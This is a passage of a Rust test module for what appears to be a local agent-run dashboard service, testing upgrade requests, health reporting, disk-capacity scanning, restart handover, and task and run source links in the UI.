22326 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22327 assert_eq!(response.headers()["retry-after"], "120");
22328 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22329 .await
22330 .unwrap();
22331 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22332 assert!(body["error"].as_str().unwrap().contains(reason));
22333 assert_eq!(body["retry_after_secs"], 120);
22334 assert!(body["retry_at"].as_u64().is_some());
22335 for _ in 0..2 {
22336 let view = health(State(ui.clone())).await.unwrap().0;
22337 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22338 assert_eq!(failure, body);
22339 }
22340 assert_eq!(
22341 std::fs::read(updater::progress_path(home.path())).unwrap(),
22342 before
22343 );
22344 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22345 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22346 let gate = ui.upgrade_gate.lock().await;
22348 assert_eq!(
22349 upgrade_post(State(ui.clone())).await.status(),
22350 StatusCode::CONFLICT
22351 );
22352 drop(gate);
22353 assert!(
22354 health(State(ui.clone()))
22355 .await
22356 .unwrap()
22357 .0
22358 .upgrade_request_error
22359 .is_some()
22360 );
22361 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22362 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22363 assert!(
22364 health(State(ui.clone()))
22365 .await
22366 .unwrap()
22367 .0
22368 .upgrade_request_error
22369 .is_none()
22370 );
22371 let live = ui.lock_loop().live.take().unwrap();
22372 live.stop.stop();
22373 live.handle.await.unwrap();
22374 }
22375
22376 #[tokio::test]
22377 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22378 use crate::updater::Stage;
22379 let repo = TempDir::new().expect("repo dir");
22380 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22381 .expect("write magi.toml");
22382 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22383 for stage in [Stage::Done, Stage::Failed] {
22384 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22385 let res = fx.post("/api/upgrade", None).await;
22386 assert_eq!(res.status, 200, "{stage:?}");
22387 }
22388 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22390 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22391 }
22392
22393 #[tokio::test]
22394 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22395 let repo = TempDir::new().expect("repo dir");
22411 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22412 .expect("write magi.toml");
22413 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22414
22415 let res = fx.post("/api/upgrade", None).await;
22421 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22422 let body = res.json();
22423 assert!(body["to"].is_null(), "there was no release to move to");
22424 assert!(body["parked"].is_null(), "and nothing was parked");
22425 assert!(
22426 body["detail"]
22427 .as_str()
22428 .unwrap()
22429 .contains("nothing restarted"),
22430 "{body:?}"
22431 );
22432 }
22433
22434 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22435 tokio::time::timeout(Duration::from_secs(5), async {
22436 while state.lock().unwrap().in_flight {
22437 tokio::task::yield_now().await;
22438 }
22439 })
22440 .await
22441 .expect("capacity scan finished");
22442 }
22443
22444 fn disk_test_scope(home: &FsPath) -> DiskScope {
22445 DiskScope {
22446 runs: home.join("runs"),
22447 worktrees: home.join("worktrees"),
22448 cache: Some(home.join("cache")),
22449 }
22450 }
22451
22452 fn known_disk_capacity() -> DiskCapacity {
22453 DiskCapacity {
22454 free_bytes: Some(100),
22455 runs_bytes: Some(200),
22456 worktrees_bytes: Some(300),
22457 cache_bytes: Some(400),
22458 }
22459 }
22460
22461 #[tokio::test]
22462 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22463 let home = TempDir::new().unwrap();
22464 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22465 let mut ui = delta_test_ui(home.path());
22466 let state = Arc::get_mut(&mut ui).unwrap();
22467 state.repo = home.path().to_owned();
22468 state.worktrees_root = home.path().join("worktrees");
22469 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22470 ui.monitor
22471 .worker_started
22472 .store(true, std::sync::atomic::Ordering::SeqCst);
22473 let cfg = deputy_config(&ui.repo);
22474 let scope = DiskScope::of(&ui, cfg.as_ref());
22475 let (started, reached) = tokio::sync::oneshot::channel();
22476 let (release, blocked) = std::sync::mpsc::channel();
22477 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22478 started.send(()).unwrap();
22479 blocked.recv().unwrap();
22480 known_disk_capacity()
22481 });
22482 assert!(cold.runs_bytes.is_none());
22483 tokio::time::timeout(Duration::from_secs(5), reached)
22484 .await
22485 .unwrap()
22486 .unwrap();
22487
22488 let requests: Vec<_> = (0..4)
22489 .map(|_| {
22490 let ui = ui.clone();
22491 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22492 })
22493 .collect();
22494 tokio::time::timeout(Duration::from_secs(5), async {
22495 for request in requests {
22496 let view = request.await.unwrap();
22497 let disk = serde_json::to_value(view.disk).unwrap();
22498 assert!(disk["runs_bytes"].is_null());
22499 assert!(disk["worktrees_bytes"].is_null());
22500 assert!(disk.get("free_bytes").is_none());
22501 }
22502 })
22503 .await
22504 .expect("health must return while the measurement is causally blocked");
22505 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22506 assert!(
22508 ui.monitor
22509 .disk
22510 .lock()
22511 .unwrap()
22512 .capacity
22513 .runs_bytes
22514 .is_none()
22515 );
22516 release.send(()).unwrap();
22517 wait_for_disk_scan(&ui.monitor.disk).await;
22518 assert_eq!(
22519 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22520 Some(200)
22521 );
22522 }
22523
22524 #[tokio::test]
22525 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22526 let home = TempDir::new().unwrap();
22527 let scope = disk_test_scope(home.path());
22528 let state = Arc::new(Mutex::new(DiskObservation {
22529 scope: Some(scope.clone()),
22530 capacity: known_disk_capacity(),
22531 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22532 ..Default::default()
22533 }));
22534 let (started, reached) = tokio::sync::oneshot::channel();
22535 let (release, blocked) = std::sync::mpsc::channel();
22536 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22537 started.send(()).unwrap();
22538 blocked.recv().unwrap();
22539 DiskCapacity {
22540 runs_bytes: Some(250),
22541 ..Default::default()
22542 }
22543 });
22544 assert_eq!(before.cache_bytes, Some(400));
22545 tokio::time::timeout(Duration::from_secs(5), reached)
22546 .await
22547 .unwrap()
22548 .unwrap();
22549 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22550 for _ in 0..4 {
22551 let scans = duplicate_scans.clone();
22552 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22553 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22554 DiskCapacity::default()
22555 });
22556 assert_eq!(during.runs_bytes, Some(200));
22557 assert_eq!(during.cache_bytes, Some(400));
22558 }
22559 release.send(()).unwrap();
22560 wait_for_disk_scan(&state).await;
22561 let scans = duplicate_scans.clone();
22562 let after = DiskObservation::observe(&state, scope, move |_| {
22563 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22564 DiskCapacity::default()
22565 });
22566 wait_for_disk_scan(&state).await;
22567 assert_eq!(after.runs_bytes, Some(250));
22568 assert_eq!(after.free_bytes, Some(100));
22569 assert_eq!(after.cache_bytes, Some(400));
22570 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22571 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22572 }
22573
22574 #[tokio::test]
22575 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22576 let home = TempDir::new().unwrap();
22577 let old_scope = disk_test_scope(home.path());
22578 let mut new_scope = old_scope.clone();
22579 new_scope.cache = Some(home.path().join("replacement-cache"));
22580 let state = Arc::new(Mutex::new(DiskObservation {
22581 scope: Some(old_scope.clone()),
22582 capacity: known_disk_capacity(),
22583 ..Default::default()
22584 }));
22585 let (started, reached) = tokio::sync::oneshot::channel();
22586 let (release, blocked) = std::sync::mpsc::channel();
22587 DiskObservation::observe(&state, old_scope, move |_| {
22588 started.send(()).unwrap();
22589 blocked.recv().unwrap();
22590 known_disk_capacity()
22591 });
22592 tokio::time::timeout(Duration::from_secs(5), reached)
22593 .await
22594 .unwrap()
22595 .unwrap();
22596 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22597 let scans = duplicate_scans.clone();
22598 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22599 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22600 DiskCapacity::default()
22601 });
22602 assert!(changed.cache_bytes.is_none());
22603 assert!(changed.runs_bytes.is_none());
22604 release.send(()).unwrap();
22605 wait_for_disk_scan(&state).await;
22606 {
22607 let observation = state.lock().unwrap();
22608 assert!(observation.capacity.cache_bytes.is_none());
22609 assert!(observation.finished.is_none());
22610 }
22611 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22612 assert_eq!(scope, &new_scope);
22613 DiskCapacity {
22614 cache_bytes: Some(999),
22615 ..Default::default()
22616 }
22617 });
22618 wait_for_disk_scan(&state).await;
22619 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22620 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22621 }
22622
22623 #[tokio::test]
22624 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22625 let home = TempDir::new().unwrap();
22626 let scope = disk_test_scope(home.path());
22627 let state = Arc::new(Mutex::new(DiskObservation {
22628 scope: Some(scope.clone()),
22629 capacity: known_disk_capacity(),
22630 ..Default::default()
22631 }));
22632 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22633 wait_for_disk_scan(&state).await;
22634 {
22635 let mut observation = state.lock().unwrap();
22636 assert_eq!(observation.capacity.cache_bytes, Some(400));
22637 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22638 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22639 }
22640 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22641 cache_bytes: Some(450),
22642 ..Default::default()
22643 });
22644 wait_for_disk_scan(&state).await;
22645 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22646 }
22647
22648 #[test]
22649 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22650 let home = TempDir::new().unwrap();
22651 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22652 assert_eq!(disk_capacity_size(home.path()), Some(0));
22653 std::fs::create_dir(home.path().join("nested")).unwrap();
22654 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22655 assert_eq!(disk_capacity_size(home.path()), Some(5));
22656 #[cfg(unix)]
22657 {
22658 assert_eq!(
22660 disk_capacity_size(&home.path().join("nested/data/child")),
22661 None
22662 );
22663 }
22664 #[cfg(unix)]
22665 {
22666 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22667 assert_eq!(disk_capacity_size(home.path()), Some(5));
22668 }
22669 }
22670
22671 #[tokio::test]
22672 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22673 let repo = TempDir::new().expect("repo dir");
22678 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22679 .expect("write magi.toml");
22680 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22681
22682 let health = fx.get("/api/health").await.json();
22683 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22684 assert_eq!(
22685 health["update"]["available"], false,
22686 "checking is off, which reads as \"unknown\", not \"none\""
22687 );
22688 assert!(health["update"]["to"].is_null());
22689 assert!(
22690 health["upgrade"].is_null(),
22691 "nothing has ever asked this deck to upgrade"
22692 );
22693 }
22694
22695 #[tokio::test]
22696 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22697 let fx = Fixture::start().await;
22698 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22699
22700 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22701 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22702 progress.advance(crate::updater::Stage::Parking);
22703 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22704
22705 let health = fx.get("/api/health").await.json();
22706 assert_eq!(health["upgrade"]["stage"], "parking");
22707 assert_eq!(health["upgrade"]["from"], "0.5.1");
22708 assert_eq!(health["upgrade"]["to"], "0.5.2");
22709 let waiting_on = health["upgrade"]["waiting_on"]
22710 .as_str()
22711 .expect("waiting_on is set while parking a known run");
22712 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22713 assert!(waiting_on.contains("implementing"), "{waiting_on}");
22714 }
22715
22716 #[tokio::test]
22717 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22718 let fx = Fixture::start().await;
22719 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22720 progress.advance(crate::updater::Stage::Done);
22721 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22722
22723 let health = fx.get("/api/health").await.json();
22724 assert_eq!(health["upgrade"]["stage"], "done");
22725 assert!(
22726 health["upgrade"]["waiting_on"].is_null(),
22727 "nothing to wait on once it is done"
22728 );
22729 }
22730
22731 #[tokio::test]
22734 async fn the_handover_signal_wakes_one_waiter_once() {
22735 let signal = Notify::new();
22736 signal.notify_one();
22738 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22739 .await
22740 .expect("an early signal is still seen");
22741 assert!(
22743 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22744 .await
22745 .is_err(),
22746 "a consumed signal must not wake a second time"
22747 );
22748 let signal = std::sync::Arc::new(signal);
22750 let waiter = tokio::spawn({
22751 let signal = std::sync::Arc::clone(&signal);
22752 async move { wait_for_handover(&signal).await }
22753 });
22754 tokio::time::sleep(Duration::from_millis(20)).await;
22755 assert!(!waiter.is_finished(), "nothing was signalled yet");
22756 signal.notify_one();
22757 tokio::time::timeout(Duration::from_secs(5), waiter)
22758 .await
22759 .expect("a late signal wakes the waiter")
22760 .expect("join");
22761 }
22762
22763 #[tokio::test]
22764 async fn health_says_how_long_a_handover_has_been_stuck() {
22765 let fx = Fixture::start().await;
22766 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22767 progress.advance(crate::updater::Stage::Replaced);
22768 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22769 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22770
22771 let health = fx.get("/api/health").await.json();
22772 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22773 assert!(stuck >= 600, "{stuck}");
22774 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22775 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22776 }
22777
22778 #[tokio::test]
22779 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22780 let home = tempfile::tempdir().expect("temp home");
22781 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22782 progress.advance(crate::updater::Stage::Parking);
22783 crate::updater::write_progress(home.path(), &progress).expect("seed");
22784 let mut again = progress.clone();
22786 again.advance(crate::updater::Stage::Replaced);
22787 crate::updater::write_progress(home.path(), &again).expect("replaced");
22788 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22789 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22790 let after = crate::updater::read_progress(home.path()).expect("record");
22791 assert_eq!(after.stage, crate::updater::Stage::Parking);
22792 }
22793
22794 #[tokio::test]
22795 async fn health_does_not_call_a_live_parking_wait_stuck() {
22796 let fx = Fixture::start().await;
22797 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22798 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22799 progress.advance(crate::updater::Stage::Parking);
22800 let hours = Duration::from_secs(3 * 3600);
22801 progress.started_at = Timestamp::now() - hours;
22802 progress.updated_at = Timestamp::now() - hours;
22803 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22804 let _lease = crate::updater::LeaseGuard::enter(
22805 fx.home.path(),
22806 Some("20260905-000000-cd51".to_owned()),
22807 );
22808
22809 let health = fx.get("/api/health").await.json();
22810 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22811 assert!(health["upgrade"]["stuck_kind"].is_null());
22812 assert_eq!(health["upgrade"]["handover_alive"], true);
22813 let waiting_on = health["upgrade"]["waiting_on"]
22814 .as_str()
22815 .expect("waiting_on");
22816 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22817 }
22818
22819 fn idle_ui(home: &TempDir) -> Ui {
22820 let runs = home.path().join("runs");
22821 std::fs::create_dir_all(&runs).expect("runs dir");
22822 Ui::new(
22823 Queue::at(home.path().join("queue")),
22824 Questions::at(home.path().join("questions")),
22825 Talks::at(home.path().join("talks")),
22826 runs,
22827 home.path().to_path_buf(),
22828 PathBuf::from("/repo/magi"),
22829 )
22830 .with_launch(launch_idle)
22831 }
22832
22833 #[tokio::test]
22834 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22835 let home = TempDir::new().expect("temp home");
22836 let ui = idle_ui(&home);
22837 let lease = crate::worker::try_lease(home.path(), "scheduler")
22838 .expect("scheduler lease")
22839 .expect("free");
22840 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22841 .expect("request stop");
22842 let error = ui
22843 .start_detached_loop()
22844 .await
22845 .expect_err("transition is still live");
22846 assert_eq!(error.status, StatusCode::CONFLICT);
22847 assert!(error.message.contains("still running or stopping"));
22848 assert_eq!(
22849 crate::worker::control(home.path(), "scheduler").unwrap(),
22850 Some(crate::worker::Control::Stop)
22851 );
22852 drop(lease);
22853 }
22854
22855 #[tokio::test]
22856 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22857 let home = TempDir::new().expect("temp home");
22858 let ui = idle_ui(&home);
22859 let turns = ui
22860 .begin_talk_turn("active-chat")
22861 .expect("claim")
22862 .expect("free");
22863 let execution = crate::worker::try_lease(home.path(), "active-task")
22864 .expect("execution lease")
22865 .expect("free");
22866 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22867 .await
22868 .expect("bind loopback");
22869 let address = listener.local_addr().expect("address");
22870 let admissions = Arc::clone(&ui.admissions);
22871 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22872 let successor_started = std::sync::atomic::AtomicBool::new(false);
22873 tokio::time::timeout(
22874 Duration::from_secs(2),
22875 hand_over(home.path(), &admissions, served, || {
22876 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22877 Ok(1)
22878 }),
22879 )
22880 .await
22881 .expect("restart must not wait for execution")
22882 .expect("handover");
22883 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22884 let successor = bind_waiting(address)
22887 .await
22888 .expect("successor binds released address");
22889 assert_eq!(successor.local_addr().unwrap(), address);
22890 assert!(turns.owns(), "the chat lease survives restart");
22891 assert!(
22892 crate::worker::try_lease(home.path(), "active-task")
22893 .unwrap()
22894 .is_none()
22895 );
22896 drop(execution);
22897 drop(turns);
22898 }
22899
22900 #[tokio::test]
22901 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22902 let home = TempDir::new().expect("temp home");
22903 let ui = idle_ui(&home);
22904 let admission = ui.begin_admission().expect("admit send");
22905 let turn = ui
22906 .begin_talk_turn("active-chat")
22907 .expect("claim")
22908 .expect("free");
22909 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22910 .await
22911 .expect("bind loopback");
22912 let address = listener.local_addr().expect("address");
22913 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22914 let successor_called = std::sync::atomic::AtomicBool::new(false);
22915 let handover = hand_over(home.path(), &ui.admissions, served, || {
22916 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22917 Ok(1)
22918 });
22919 tokio::pin!(handover);
22920 std::future::poll_fn(|cx| {
22923 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22924 std::task::Poll::Ready(())
22925 })
22926 .await;
22927 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22928 assert!(
22929 ui.begin_admission().is_err(),
22930 "new ingress cannot race the drain"
22931 );
22932 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22933 drop(admission);
22934 tokio::time::timeout(Duration::from_secs(2), handover)
22935 .await
22936 .expect("only publication may delay restart")
22937 .expect("handover");
22938 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22939 assert!(
22940 turn.owns(),
22941 "the detached chat turn is not awaited or cancelled"
22942 );
22943 assert!(
22944 ui.begin_admission().is_err(),
22945 "old accepted connections stay closed"
22946 );
22947 drop(turn);
22948 }
22949
22950 #[test]
22951 fn health_worker_metadata_never_contains_payload_or_result() {
22952 let view = WorkerView::from(crate::worker::Job {
22953 id: "job".into(),
22954 sequence: 1,
22955 kind: "service".into(),
22956 key: "maintenance".into(),
22957 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22958 generation: "generation".into(),
22959 version: Some("1.2.3".into()),
22960 status: crate::worker::Status::Running,
22961 result: Some("private diagnostics".into()),
22962 pid: Some(4242),
22963 created_at: 1,
22964 finished_at: None,
22965 });
22966 let value = serde_json::to_value(view).expect("serialize public metadata");
22967 assert_eq!(value["version"], "1.2.3");
22968 assert_eq!(value["pid"], 4242);
22969 assert!(value.get("payload").is_none());
22970 assert!(value.get("result").is_none());
22971 assert!(!value.to_string().contains("private"));
22972 }
22973
22974 #[test]
22975 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22976 let home = TempDir::new().expect("temp home");
22977 let ui = idle_ui(&home);
22978 std::fs::write(
22979 home.path().join("daemon.json"),
22980 serde_json::json!({
22981 "schema": 2, "pid": 4242, "worker_protocol": 1,
22982 "updated_at": Timestamp::now().to_string(), "idle": true,
22983 })
22984 .to_string(),
22985 )
22986 .expect("status");
22987 let reading = daemon::read_status(home.path());
22988 assert!(Foreign::of(reading.as_ref()).is_none());
22989 let view = ui.runtime_loop_view(reading, &[]);
22990 assert!(view.running);
22991 assert!(view.owned);
22992 }
22993
22994 #[test]
22995 fn only_an_explicit_one_requests_a_resume() {
22996 assert!(!resume_requested(None));
22997 assert!(!resume_requested(Some("0".into())));
22998 assert!(!resume_requested(Some("".into())));
22999 assert!(resume_requested(Some("1".into())));
23000 }
23001
23002 #[test]
23003 fn an_error_is_visible_from_where_the_button_is() {
23004 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23009 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23010 assert!(
23011 alert.contains("position: fixed"),
23012 "an error about the thing under your thumb has to be visible from \
23013 where your thumb is: {alert}"
23014 );
23015 assert!(
23016 alert.contains("z-index: 25"),
23017 "above the dock (20) and the run-actions FAB (15), so neither \
23018 buries it: {alert}"
23019 );
23020 assert!(
23021 alert.contains("var(--tap)"),
23022 "and clear of the dock and the home indicator: {alert}"
23023 );
23024 assert!(
23027 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23028 "the FAB's column stays free: {alert}"
23029 );
23030 }
23031
23032 #[tokio::test]
23033 async fn an_older_attempt_says_what_replaced_it() {
23034 let fx = Fixture::start().await;
23035 let q = fx.queue();
23036 let runs = fx.runs();
23037 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23038 write_run(&runs, first, RunStatus::Stalled);
23039 write_run(&runs, second, RunStatus::Blocked);
23040
23041 let mut t = Task::new(
23042 "one task".to_owned(),
23043 "do it".to_owned(),
23044 PathBuf::from("/repo"),
23045 Source::Human,
23046 );
23047 t.runs = vec![first.to_owned(), second.to_owned()];
23048 q.put(&mut t).expect("put");
23049
23050 let rows = fx.get("/api/runs").await.json();
23054 let by = |short: &str| -> Value {
23055 rows.as_array()
23056 .unwrap()
23057 .iter()
23058 .find(|r| r["short"] == short)
23059 .cloned()
23060 .unwrap_or(Value::Null)
23061 };
23062 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23063 assert!(
23064 by("bbbb")["superseded_by"].is_null(),
23065 "the latest attempt is not superseded by anything"
23066 );
23067 assert!(APP_JS.contains("run.superseded_by"));
23069 assert!(APP_JS.contains("Superseded by"));
23070 }
23071
23072 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23073 let mut t = Task::new(
23074 "one task".to_owned(),
23075 "do it".to_owned(),
23076 PathBuf::from("/repo"),
23077 Source::Human,
23078 );
23079 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23080 t.status = status;
23081 t
23082 }
23083
23084 #[test]
23085 fn source_link_picks_the_page_that_filed_the_task() {
23086 let agent = |node: &str| Source::Agent {
23087 run: "20260904-014455-ab12".to_owned(),
23088 node: node.to_owned(),
23089 };
23090 let chat = source_link(&agent("chat")).expect("chat link");
23091 assert_eq!(chat.kind, "chat");
23092 assert_eq!(chat.id, "20260904-014455-ab12");
23093 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23094 let run = source_link(&agent("implement")).expect("run link");
23095 assert_eq!(
23096 (run.kind, run.href.as_str()),
23097 ("run", "#/runs/20260904-014455-ab12")
23098 );
23099 assert_eq!(source_link(&Source::Human), None);
23100 assert_eq!(
23101 source_link(&Source::Issue {
23102 number: 3,
23103 repo: "o/r".to_owned()
23104 }),
23105 None
23106 );
23107 let odd = source_link(&Source::Agent {
23108 run: "a b/c".to_owned(),
23109 node: "chat".to_owned(),
23110 })
23111 .expect("link");
23112 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23113 }
23114
23115 #[test]
23116 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23117 assert!(
23118 !APP_JS.contains("src.node === \"chat\""),
23119 "inline href rule is back"
23120 );
23121 assert!(
23122 APP_JS.matches("sourceLinkOf(").count() >= 4,
23123 "helper must serve every page"
23124 );
23125 assert!(
23126 APP_JS.matches("openChatLink(").count() >= 3,
23127 "the run page still needs its explicit chat link"
23128 );
23129 assert!(
23130 !APP_JS.contains("const openChat = el("),
23131 "the Queue card duplicates its source label link again"
23132 );
23133 assert!(
23134 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23135 "the task page must link a chat source label too"
23136 );
23137 }
23138
23139 #[test]
23140 fn task_ref_carries_the_source_link_for_a_chat_task() {
23141 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23142 t.source = Source::Agent {
23143 run: "20260904-014455-ab12".to_owned(),
23144 node: "chat".to_owned(),
23145 };
23146 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23147 let v = serde_json::to_value(&out).expect("json");
23148 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23149 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23150 assert_eq!(v["source_label"], t.source.label());
23151
23152 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23153 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23154 .expect("json");
23155 assert!(v["source_link"].is_null(), "{v}");
23156 }
23157
23158 #[test]
23159 fn task_view_serializes_source_link() {
23160 let mut t = Task::new(
23161 "t".to_owned(),
23162 "t".to_owned(),
23163 PathBuf::from("/repo"),
23164 Source::Agent {
23165 run: "20260901-000000-aaaa".to_owned(),
23166 node: "implement".to_owned(),
23167 },
23168 );
23169 t.runs.clear();
23170 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23171 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23172 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23173 }
23174
23175 #[test]
23176 fn task_view_serializes_urgent_flag() {
23177 let mut t = Task::new(
23178 "t".to_owned(),
23179 "t".to_owned(),
23180 PathBuf::from("/repo"),
23181 Source::Human,
23182 );
23183 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23184 assert_eq!(v["urgent"], false, "{v}");
23185 t.urgent = true;
23186 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23187 assert_eq!(v["urgent"], true, "{v}");
23188 assert!(APP_JS.contains("task.urgent === true"));
23189 }
23190
23191 #[tokio::test]
23192 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23193 let fx = Fixture::start().await;
23194 let runs = fx.runs();
23195 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23196 write_run(&runs, old, RunStatus::Blocked);
23197 write_run(&runs, new, RunStatus::Merged);
23198 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23199 fx.queue().put(&mut t).expect("put");
23200
23201 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23202 let task = &view["task"];
23203 assert_eq!(task["status"], "done");
23204 assert_eq!(task["is_latest"], false);
23205 assert_eq!(task["latest"]["short"], "bbbb");
23206 assert_eq!(task["finished_by"]["id"], new);
23207 assert_eq!(task["finished_by"]["outcome"], "merged");
23208 assert_eq!(task["closed_by_hand"], false);
23209 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23210 assert!(APP_JS.contains("finished_by"));
23211 assert!(APP_JS.contains("superseded by run"));
23212 }
23213
23214 #[tokio::test]
23215 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23216 let fx = Fixture::start().await;
